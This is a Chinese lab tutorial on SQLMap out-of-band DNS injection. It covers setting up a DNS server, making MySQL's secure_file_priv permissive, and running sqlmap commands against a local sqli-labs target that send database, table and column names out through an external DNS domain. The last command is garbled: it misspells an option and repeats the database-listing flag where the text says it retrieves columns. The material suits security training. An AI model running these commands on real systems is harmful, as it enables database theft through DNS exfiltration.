本文介绍了如何在Kali Linux和Windows环境中配置SQLMap进行DNS注入测试。首先，详细讲解了设置Windows 2008 R2 DNS服务器的步骤，并提供了下载链接。接着，通过设置MySQL的secure_file_priv参数，允许读取磁盘文件。然后，通过在Kali中使用tcpdump验证DNS服务器配置成功。最后，展示了如何利用SQLMap进行外带DNS注入，包括取库、获取表和列的命令。这是一个针对SQL注入和DNS隧道技术的实际操作指南。
一.实验环境
1.kali（使用sqlmap）
2.windows10（靶机）
3.windows 2008 R2 （ 需要设置dns服务器）下载镜像地址： https://msdn.itellyou.cn/
设置mysql
secure_file_priv为空，就可以读取磁盘的目录
secure_file_priv为D:\，就可以读取D盘的文件
secure_file_priv为null，load_file就不能加载文件
添加一句secure_file_priv=""
设置dns服务器
上面服务器这里填kali的ip，下面是主机首选dns服务器填服务器的ip
kali输入tcpdump -n port 53ping通有数据包就说明成功（如果ping不通服务器的ip的话就关掉防火墙）
也填kali的ip
二.SQLMap使用外带dns注入
取库
输入sqlmap -u "http://192.168.10.195/sqli-labs-master/Less-8/?id=1" --technique=T --dns-domain "hxp1.top" --dbs
获取表
kali输入sqlmap -u "http://192.168.10.195/sqli-labs-master/Less-8/?id=1" --technique=T --dns-domain "hxp1.top" -D security --tables
获取到列
输入sqlmap -u "http://192.168.10.195/sqli-labs-master/Less-8/?id=1" --technique=T --dns-domaim "hxp1.top" --dbs
扫一扫
752
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
